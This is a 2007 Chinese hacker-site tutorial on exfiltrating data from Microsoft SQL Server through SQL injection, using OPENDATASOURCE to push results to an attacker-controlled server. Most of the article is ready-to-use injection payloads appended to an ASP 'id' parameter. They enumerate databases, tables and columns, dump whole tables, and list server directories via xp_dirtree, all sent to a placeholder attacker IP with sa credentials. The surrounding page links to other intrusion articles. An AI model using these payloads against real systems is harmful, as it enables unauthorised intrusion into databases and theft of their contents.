黑客风云——风云网络
设为首页 加入收藏 我要投稿 网站地图

您现在的位置: 黑客风云 >> 黑客文章 >> 黑客入门 >> 黑客常识 >> 正文
·没有路由密码权限时的鸽08-23·上网安全 Vista自我防范10-11
·让濒临崩溃的Windows XP10-11·有备无患,快速自制救急10-11
·要你好看!Windows看图工10-11·空间赞助网提供不同类型10-11
·讨论net.exe和net1.exe的10-10·让3389远程桌面传输更通10-10
·巧妙入侵渗透赌博站10-10·Aspx空间扫权限工具10-10
·Windows2003最新提权工具10-10·易淘乐提供100M免费全能10-10
·系统开机密码忘了不着急10-09·中意网络提供免费100M免10-09
·与众不同 Windows XP开始10-08·让桌面图标翻跟斗 在XP上10-08
·上海宽元站长资助计划-提10-08·个性化Windows XP的任务10-07
·趣盘提供3G免费网络硬盘10-07·秀山热线提供200MB免费全10-07
·一次艰辛的提权过程10-06·成功入侵IT大卖场的渗透10-06
·mysqlhack- MYSQL利用工10-06·lanker一句话PHP后门客户10-06
·WIXI提供3G免费多媒体网10-06·新人网络提供100M/ftp免10-06
·如何利用QQ带来高流量10-05·UuShare提供免费网络文件10-05
[推荐]opendatasource学习记录
      ★★★★★

opendatasource学习记录

文章整理发布:黑客风云 文章来源:www.05112.com 更新时间:2007-5-14 9:34:12
实现功能:
获取所有库.当前库所有表.表里所有内容.分区路径.

本机建立库和表,方便反弹时写进东西.
create database lcx
CREATE TABLE ku(name nvarchar(256) null)
CREATE TABLE biao(id int NULL,name nvarchar(256) null)

得到目标服务器上的所有数据库名:
insert into opendatasource('sqloledb','server=222.222.222.222;uid=sa;pwd=pass;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases--

得到当前库:
insert into opendatasource('sqloledb','server=222.222.222.222;uid=sa;pwd=pass;database=lcx').lcx.dbo.ku select db_name(0)--

得到当前库的所有表名
insert into opendatasource('sqloledb','server=222.222.222.222;uid=sa;pwd=pass;database=lcx').lcx.dbo.biao select [id],[name] from sysobjects where xtype='U'--

获得其它库的所有表名
insert into opendatasource('sqloledb','server=222.222.222.222;uid=sa;pwd=pass;database=lcx').lcx.dbo.biao select [id],[name] from 库名.dbo.sysobjects where xtype='U'--

获得当前库指定表名的列
复制一个系统表结构
1. select * into [tmpcolumns] from syscolumns where 1=2
2. insert into opendatasource('sqloledb','server=222.222.222.222;uid=sa;pwd=pass;database=lcx').lcx.dbo.tmpcolumns select * from syscolumns where id=1723153184--
//这一步目的是查询当前表的结构,好在本机建立同样的表.

返回表的所有内容
insert into opendatasource('sqloledb','server=222.222.222.222;uid=sa;pwd=pass;database=lcx').lcx.dbo.chong select * from [chong]--

复制一个系统表结构 重要的: name列名 xtype数据类型 length长度 //在本机建立一个同样的表
关系表如下:
when 34 then ''image''
when 35 then ''text''
when 52 then ''smallint''
when 56 then ''int''
when 61 then ''datetime''
when 62 then ''float''
when 108 then ''numeric''
when 167 then ''varchar''
when 175 then ''char''
when 231 then ''nvarchar''
========================

查路径 实践:
1. xx.asp?id=1;CREATE TABLE chong (subdirectory VARCHAR(100),depth VARCHAR(100),[file] VARCHAR(100));--
2. xx.asp?id=1;Insert chong exec master..xp_dirtree "C:\",1,1;--
本机: 3 4
3. select * into [tmpcolumns] from syscolumns where 1=2
4. CREATE TABLE chong (subdirectory VARCHAR(100),depth VARCHAR(100),[file] VARCHAR(100))
5. xx.asp?id=1;insert into opendatasource('sqloledb','server=222.222.222.222;uid=sa;pwd=pass;database=lcx').lcx.dbo.biao select [id],[name] from sysobjects where xtype='U'--
6. 从5中得到反回来的chong表的ID.一共有三个列.
7. xx.asp?id=1;insert into opendatasource('sqloledb','server=222.222.222.222;uid=sa;pwd=pass;database=lcx').lcx.dbo.tmpcolumns select * from syscolumns where id=1723153184--
8. where id=1723153184 其中一个.下面返回来的内容.就是现在的ID对应的内容
9. xx.asp?id=1; insert into opendatasource('sqloledb','server=222.222.222.222;uid=sa;pwd=pass;database=lcx').lcx.dbo.chong select * from [chong]--
10. 路径在本机chong里.
文章录入:cainiaowang    责任编辑:cainiaowang 
【字体:
Copyright @2006 黑客风云 ●业务联系:QQ 联系怪人 联系奇人 Email:给怪人发邮件 给奇人发邮件
ICP备案:冀06009886